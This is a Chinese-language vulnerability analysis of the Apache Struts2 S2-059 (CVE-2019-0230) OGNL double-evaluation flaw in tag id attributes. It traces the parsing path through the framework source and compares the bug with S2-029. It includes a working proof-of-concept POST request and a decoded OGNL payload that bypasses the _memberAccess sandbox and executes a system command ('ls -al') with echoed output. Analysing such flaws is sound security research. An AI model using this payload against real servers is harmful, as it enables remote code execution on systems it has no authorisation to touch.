Struts2-059 远程代码执行漏洞(CVE-2019-0230)分析
source link: https://www.anquanke.com/post/id/216629
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
作者:白帽汇安全研究院 @hu4wufu
核对:白帽汇安全研究院 @r4v3zn
前言
2020年8月13日虽然近几年来关于 ONGL
方面的漏洞已经不多了,但是毕竟是经典系列的 RCE
漏洞,还是有必要分析的。而且对于 Struts2
和 OGNL
了解也有助于代码审计和漏洞挖掘。
首先了解一下什么是 OGNL
, Object Graphic Navigation Language
(对象图导航语言)的缩写, Struts
框架使用 OGNL
作为默认的表达式语言。
struts2_S2_059
和 S2_029
漏洞产生的原理类似,都是由于标签属性值进行二次表达式解析产生的,细微差别会在分析中提到。
漏洞利用前置条件是需要特定标签的相关属性存在表达式 %{payload}
,且 payload
可控并未做安全验证。这里用到的是 a
标签 id
属性。
id
属性是该 action
的应用 id
。
经过分析,受影响的标签有很多继承 AbstractUITag
类的标签都会受到影响,受影响的属性只有 id
。
环境准备
测试环境: Tomcat 8.5.56
、 JDK 1.8.0_131
、 Struts 2.3.24
。
由于用 Maven
创建有错误没有解决,所以选用 idea
自带的创建 struts2
工程。
创建好工程后,在 web/WEB-INF
下新建 lib
文件夹,然后将下载的 jar
包复制进去即可。
jsp
测试文件:
添加字段获取传参,并且显示到页面。
漏洞验证
poc1:
输入普通文本:
输入 ONGL
表达式 %{1+4}
,需要url转码 %25%7b%31%2b%34%7d%0a
poc2:
这里发送一个post包即可,构造思路在分析和总结中提到。
POST /s2_059/index.action HTTP/1.1 Host: localhost:8085 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 606 Origin: http://localhost:8085 Connection: close Referer: http://localhost:8085/s2_059_war/ Cookie: JSESSIONID=272825C954147516F847095B055202B5; JSESSIONID=01F82222F5CCED3DC9B7819AE6C98DA0 Upgrade-Insecure-Requests: 1 payload=%25%7b%23_memberAccess.allowPrivateAccess%3Dtrue%2C%23_memberAccess.allowStaticMethodAccess%3Dtrue%2C%23_memberAccess.excludedClasses%3D%23_memberAccess.acceptProperties%2C%23_memberAccess.excludedPackageNamePatterns%3D%23_memberAccess.acceptProperties%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D%40java.lang.Runtime%40getRuntime()%2C%23s%3Dnew%20java.util.Scanner(%23a.exec('ls%20-al').getInputStream()).useDelimiter('%5C%5C%5C%5CA')%2C%23str%3D%23s.hasNext()%3F%23s.next()%3A''%2C%23res.print(%23str)%2C%23res.close()%0A%7d
漏洞分析
我们首先看一下漏洞的调用栈:
不同版本的调用链可能会不一样,比如在较低的版本最终是在 com.opensymphony.xwork2.util.TextParseUtil.class
的 translateVariables()
方法赋值。
漏洞信息: https://cwiki.apache.org/confluence/display/WW/S2-059
根据漏洞详情可知问题出现在标签解析的时候,所以我们从 org.apache.struts2.views.jsp.ComponentTagSupport
的 doStartTag
方法开始跟进,从这里开始进行 jsp
标签的解析。当用户发送请求的时候, doStartTag()
开始执行。我们直接 debug
断点在解析标签的 ComponentTagSupport
的第一行。
在 this.populateParams()
进行赋值,所以我们跟进 populateParams()
,进行初始参数值的填充。
org.apache.struts2.views.jsp.ui.AnchorTag.class
中存储着所有的标签对象。
org.apache.struts2.views.jsp.ui.AbstractClosingTag.class
这里是调用了父类 AbstractUITag
的 populateParams()
方法。
继承 AbstractUITag
类的标签都会受到影响。当这些标签存在 id
属性时,会调用父类 org.apache.struts2.views.jsp.ui.AbstractUITag.populateParams()
方法,触发 setId()
方法时会解析一次 OGNL
表达式。
往下跟父类的 populateParams()
方法。
UIBean uiBean = (UIBean)this.component; uiBean.setCssClass(this.cssClass); uiBean.setCssStyle(this.cssStyle); uiBean.setCssErrorClass(this.cssErrorClass); uiBean.setCssErrorStyle(this.cssErrorStyle); uiBean.setTitle(this.title); uiBean.setDisabled(this.disabled); uiBean.setLabel(this.label); uiBean.setLabelSeparator(this.labelSeparator); uiBean.setLabelposition(this.labelPosition); uiBean.setRequiredposition(this.requiredposition); uiBean.setName(this.name); uiBean.setRequired(this.required); uiBean.setTabindex(this.tabindex); uiBean.setValue(this.value); uiBean.setTemplate(this.template); uiBean.setTheme(this.theme); uiBean.setTemplateDir(this.templateDir); uiBean.setOnclick(this.onclick); uiBean.setOndblclick(this.ondblclick); uiBean.setOnmousedown(this.onmousedown); uiBean.setOnmouseup(this.onmouseup); uiBean.setOnmouseover(this.onmouseover); uiBean.setOnmousemove(this.onmousemove); uiBean.setOnmouseout(this.onmouseout); uiBean.setOnfocus(this.onfocus); uiBean.setOnblur(this.onblur); uiBean.setOnkeypress(this.onkeypress); uiBean.setOnkeydown(this.onkeydown); uiBean.setOnkeyup(this.onkeyup); uiBean.setOnselect(this.onselect); uiBean.setOnchange(this.onchange); uiBean.setTooltip(this.tooltip); uiBean.setTooltipConfig(this.tooltipConfig); uiBean.setJavascriptTooltip(this.javascriptTooltip); uiBean.setTooltipCssClass(this.tooltipCssClass); uiBean.setTooltipDelay(this.tooltipDelay); uiBean.setTooltipIconPath(this.tooltipIconPath); uiBean.setAccesskey(this.accesskey); uiBean.setKey(this.key); uiBean.setId(this.id); uiBean.setDynamicAttributes(this.dynamicAttributes);
跟进其他属性到 org.apache.struts2.components.UIBean.class
发现 AbstractUITag.class
所有的属性除了 id
都是直接赋值。
@StrutsTagAttribute( description = "The template directory." ) public void setTemplateDir(String templateDir) { this.templateDir = templateDir; } ... @StrutsTagAttribute( description = "Icon path used for image that will have the tooltip" ) public void setTooltipIconPath(String tooltipIconPath) { this.tooltipIconPath = tooltipIconPath; }
跟进 setId()
方法,会有一个 findString()
方法,这里也就解释了为什么是 id
属性进行解析了。
如果 id
不为空,那么给 id
赋值用户传入的值。接着跟入 findString()
。
跟进 findValue()
方法,我们来看看赋值过程。
如果 altSyntax
功能开启(此功能在 S2-001
的修复方案是将其默认关闭), altSyntax
这个功能是将标签内的内容当作 OGNL
表达式解析,关闭了之后标签内的内容就不会当作 OGNL
表达式解析了。执行到 TextParseUtil.translateVariables('%', expr, this.stack)
,然后在下面执行 OGNL
的表达式的解析,返回传入 action
的参数 %{1+4}
,这里进行了一次表达式的解析。也就是对属性的初始化赋值操作。
translateVariables()
函数传过来的 open
参数的值是 '%'
,在截取的时候是截取的 open
之后的字符串,并把传入 stack.OgnlValueStack
,这也是我们的 poc
构造的时候要写成 %{*}
形式的原因。
跟到 com.opensymphony.xwork2.util.TextParseUtil.class
中的 translateVariables()
方法。
在 translateVariables()
方法 while
循环里加了一个 maxLoopCount
参数来限制递归解析的次数, break
跳出循环(这是对S2-001的修复方案)。这里的 maxLoopCount
为1。
while(true) { int start = expression.indexOf(lookupChars, pos); if (start == -1) { ++loopCount; start = expression.indexOf(lookupChars); } if (loopCount > maxLoopCount) { //设置maxLoopCount参数,break跳出循环。 break; }
接着往下跟,跟进 evaluate()
方法。
最终在 com.opensymphonny.xwork2.util:57
完成第一次赋值。这里只进行了一次表达式的解析,返回给action传入的参数是%{1+4},并未解析成功表达式。
所以我们回到 ComponentTagSupport.class
类 doStartTag()
方法,再跟一下标签对象的 start()
方法,这里会进行 id
值的二次解析。
这里调用了父类 ClosingUIBean
的 start()
方法
跟到父类 org.apache.struts2.components.ClosingUIBean.class
,我们看一下 evaluateParams()
方法。
org.apache.struts2.components.UIBean.class
的 evaluateParams()
方法中有很多属性使用 findString()
来获取值。
... if (this.name != null) { name = this.findString(this.name); this.addParameter("name", name); } if (this.label != null) { this.addParameter("label", this.findString(this.label)); } else if (providedLabel != null) { this.addParameter("label", providedLabel); } ... if (this.onmouseout != null) { this.addParameter("onmouseout", this.findString(this.onmouseout)); }
但是除了 id
解析两次 OGNL
外,算上前面的 setId()
解析了一次,所以这里边的其他属性都仅解析了一次。
最终跟进 populateComponentHtmlId()
方法
再跟进 findStringIfAltSyntax()
方法。
在开启了 altSyntax
功能的前提下,可以看到这里对 id
属性再次进行了表达式的解析。
进入到 findString()
后,就跟前面流程一样了。这也是解释了这次漏洞是由于标签属性值进行二次表达式解析产生的。
跟进 findvalue()
org.apache.struts2.components.Component.class
的 findStringIfAltSyntax()
,与前面一样又会执行一次 TextParseUtil.translateVariables()
方法。
跟进 com.opensymphony.xwork2.util.TextParseUtil.class:63
的 return parser.evaluate(openChars, expression, ognlEval, maxLoopCount)
这里可以看到表达式内容已经解析执行了。
思考
如果表达式中的值可控,那么就有可能传入危险的表达式实现远程代码执行,但是这个漏洞利用前提条件是 altSyntax
功能开启且需要特定标签 id
属性(暂未找到其他可行属性)存在表达式 %{payload}
且 payload
可控且不需要进行框架的安全校验。利用条件较为苛刻,需要结合应用程序的代码实现,所以无法进行大规模的利用。
我们知道此次 S2-059
与之前的 S2-029
和 S2-036
类似都是 OGNL
表达式的二次解析而产生的漏洞,用 S2-029
的poc打不了 S2-059
搭建的环境。
与 S2-029
的区别: S2-029
是标签的 name
属性出现了问题,由于 name
属性调用了 org.apache.struts2.components.Component.class
的 completeExpressionIfAltSyntax()
方法,会自动加上 "%{}"
这也就解释了 S2-029
的 payload
不用加 %{}
的原因。
protected String completeExpressionIfAltSyntax(String expr) { return this.altSyntax() ? "%{" + expr + "}" : expr; }
关于受影响标签:
继承 AbstractUITag
类的标签都会受到影响。当这些标签存在 id
属性时,会调用父类 AbstractUITag.populateParams()
方法,触发 setId()
解析一次 OGNL
表达式。比如 label
标签(同样输入表达式 %{1+4}
)。
这里可以看到 LabelTag.class
继承了 AbstractUITag.class
关于版本问题:
官方说明影响范围是Apache Struts 2.0.0 – 2.5.20,这里测试了2.1.1和2.3.24版本。
不同的版本对于沙盒的绕过不同,所用的到的poc绕过也就有出入,再高版本2.5.16之后的沙盒目前没有公开绕过方法。我测试了稍低版本 Struts 2.2.1
与稍高版本 Struts 2.3.24
,均可以控制输入值。
关于回显:
%{#_memberAccess.allowPrivateAccess=true,#_memberAccess.allowStaticMethodAccess=true,#_memberAccess.excludedClasses=#_memberAccess.acceptProperties,#_memberAccess.excludedPackageNamePatterns=#_memberAccess.acceptProperties,#[email protected]@getResponse().getWriter(),#[email protected]@getRuntime(),#s=new java.util.Scanner(#a.exec('ls -al').getInputStream()).useDelimiter('\\\\A'),#str=#s.hasNext()?#s.next():'',#res.print(#str),#res.close() }
OgnlContext
的 _memberAccess
变量进行了访问控制限制,决定了用哪些类,哪些包,哪些方法可以被 OGNL
表达式所使用。
所以其中poc中需要设置 #_memberAccess.allowPrivateAccess=true
用来授权访问 private
方法, #_memberAccess.allowStaticMethodAccess=true
用来授权允许调用静态方法,
#_memberAccess.excludedClasses=#_memberAccess.acceptProperties
用来将受限的类名设置为空
#_memberAccess.excludedPackageNamePatterns=#_memberAccess.acceptProperties
用来将受限的包名设置为空
#res=@org.apache.struts2.ServletActionContext@getResponse().getWriter()
返回 HttpServletResponse
实例获取 respons
对象并回显。
#a=@java.lang.Runtime@getRuntime(),#s=new java.util.Scanner(#a.exec('ls -al').getInputStream()).useDelimiter('\\\\A'),#str=#s.hasNext()?#s.next():'',#res.print(#str),#res.close()
执行系统命令,使用 java.util.Scanner
一个文本扫描器,执行命令 ls -al
,将目录下的内容回显出来。
至于为什么加 %{}
,在之前的分析中已经提及。
参考
- https://cwiki.apache.org/confluence/display/WW/S2-059
- http://blog.topsec.com.cn/struts2-s2-059-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
- https://xw.qq.com/cmsid/20200816A03TC200
- https://github.com/ramoncjs3/CVE-2019-0230/commit/40f221f8fd60de78ca84aaf0365b7e4fdfd8105a
- https://www.freebuf.com/vuls/229080.html
Recommend
-
24
Joomla远程代码执行漏洞分析 phith0n ...
-
10
Struts2方法调用远程代码执行漏洞(CVE-2016-3081)分析 绿盟科技...
-
4
PKAV 发现 Struts2 最新远程命令执行漏洞(S2-037) 香草
-
18
ElasticSearch 远程代码执行漏洞分析(CVE-2015-1427)&高级利用方法 ...
-
8
该漏洞本身其实并不是非常好用,但是对于分析来说,确实是今年以来比较有意思的一个漏洞了,值得所有做Java漏洞研究的人员进行跟进和学习。 0x01 漏洞概述...
-
4
介绍 在这篇文章中,我们将会详细介绍漏洞CVE-2020-26233。这个漏洞将影响Windows平台下GitHub CLI工具中Git凭证管理器核心v2...
-
8
PHP-fpm 远程代码执行漏洞(CVE-2019-11043)分析 ...
-
6
mongo-express 远程代码执行漏洞分析 搭建调试环境,调试 CVE-2019-10758 漏洞,学习nodejs 沙箱绕过,以及nodejs 远程调试。目前网上关于该漏洞的基于docker的远程调试分析写的很泛,本文从初...
-
4
【Struts2-代码执行漏洞分析系列】S2-057 ...
-
6
在 Apache Struts 多个版本中,如果开发人员使用% { … }语法强制应用 OGNL 计算,则某些tag属性可以执行双重计算。对不受信任的用户输入使用强制的 OGNL 计算可能导致远程代码执行。 Struts2 S2-061 远程命令执行漏洞(CVE-2020-17530)Apach...
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK